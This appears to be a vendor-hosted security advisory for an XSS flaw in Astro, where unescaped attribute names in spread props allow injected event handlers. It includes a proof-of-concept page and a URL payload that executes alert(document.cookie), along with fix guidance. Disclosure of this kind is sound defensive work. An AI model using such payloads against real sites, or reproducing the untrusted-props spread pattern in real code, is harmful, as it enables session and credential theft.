GHSA-jrpj-wcv7-9fh9
MEDIUMGHSA-jrpj-wcv7-9fh9 is a medium-severity (CVSS 4.2) Cross-site Scripting (XSS) vulnerability in astro. O3 Security confirms whether GHSA-jrpj-wcv7-9fh9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Astro: XSS via Unescaped Attribute Names in Spread Props
Blast Radius
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Description
Summary
The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.
Details
The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:
export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
if (value == null) {
return '';
}
return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); // key interpolated not escaped
}
This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:
for (const [key, value] of Object.entries(values)) {
output += addAttribute(value, key, true, _name);
}
The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.
Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.
POC
Create an SSR Astro page (src/pages/index.astro):
---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
<h1>Hello</h1>
<div {...props}>Move mouse here</div>
</body>
</html>
Enable SSR in astro.config.mjs (for URL based demo):
export default defineConfig({
output: 'server'
});
Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.
Start the dev server and visit:
http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}
URL encoded:
http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D
View the HTML source. The output contains:
<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>
The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.
The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | astro | all versions | 6.4.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for astro. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update astro to 6.4.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jrpj-wcv7-9fh9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jrpj-wcv7-9fh9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jrpj-wcv7-9fh9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jrpj-wcv7-9fh9 in your dependencies?
O3 detects GHSA-jrpj-wcv7-9fh9 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.